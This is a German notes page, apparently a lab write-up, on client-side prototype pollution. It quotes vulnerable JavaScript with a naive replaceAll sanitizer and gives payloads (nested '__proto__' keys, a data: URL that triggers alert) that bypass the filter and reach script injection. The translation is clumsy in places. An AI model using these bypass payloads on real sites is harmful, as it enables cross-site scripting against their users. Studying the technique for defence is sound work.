> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/prototype-pollution/client-side-prototype-pollution-via-flawed-sanitization.md).

# Clientseitige Prototype Pollution via fehlerhafter Sanitization

### Client-seitige Prototype-Pollution durch fehlerhafte Bereinigung

#### (1) Hintergrund und Grundidee

Die Anwendung liest die URL-Einstellungen und wandelt sie dann über `deparam(...)`:

* Es baut `config = { params: deparam(...) }`
* Dann verwendet es `config.transport_url` um ein `<script src="...">`

Um Prototype-Pollution zu vermeiden, haben die Entwickler `sanitizeKey()` das die folgenden Teilstrings aus den Schlüsseln entfernt:/ `constructor`, `__proto__`, `prototype`.

Problem: Diese Bereinigung ist nur ein **replaceAll**. Wenn **schneidet** das verbotene Wort in Stücke, kann es nach der Ersetzung **rekonstruieren**.

```javascript
async function logQuery(url, params) {
    try {
        await fetch(url, {method: "post", keepalive: true, body: JSON.stringify(params)});
    } catch(e) {
        console.error("Failed storing query");
    }
}

async function searchLogger() {
    let config = {params: deparam(new URL(location).searchParams.toString())};
    if(config.transport_url) {
        let script = document.createElement('script');
        script.src = config.transport_url;
        document.body.appendChild(script);
    }
    if(config.params && config.params.search) {
        await logQuery('/logger', config.params);
    }
}

function sanitizeKey(key) {
    let badProperties = ['constructor','__proto__','prototype'];
    for(let badProperty of badProperties) {
        key = key.replaceAll(badProperty, '');
    }
    return key;
}

window.addEventListener("load", searchLogger);
```

#### 2) Quelle: Filter umgehen und verschmutzen `Object.prototype`

Der Filter entfernt `__proto__` Wenn es unverändert vorhanden ist. / Es wird rekonstruiert, indem man `__proto__` **in die Mitte** eines größeren Schlüssels einfügt, sodass nach dem Löschen der endgültige Schlüssel genau `__proto__`.

Payload:

```javascript
?__pro__proto__to__[foo]=bar
```

Nach der Bereinigung:

* `__pro__proto__to__` → (Löschung von `__proto__`) → `__proto__`

Also ist es so:

* `?__proto__[foo]=bar` -> globale Prototype-Pollution

In der Konsole prüfen:

```javascript
console.log({}.foo)
```

<figure><img src="/files/515102a41e2dcd044a9d8e5502d74e96aad5c144" alt="" width="520"><figcaption></figcaption></figure>

#### (4) Finaler Exploit: auslösen `alert()`

`transport_url` ist verschmutzt mit einer `data:` Schema, das beim Laden des Skripts JavaScript ausführt:

```javascript
?__pro__proto__to__[transport_url]=data:,alert(1)
```

<figure><img src="/files/95cb5c7900061245f53635e65a82ee5e5d552c07" alt=""><figcaption></figcaption></figure>


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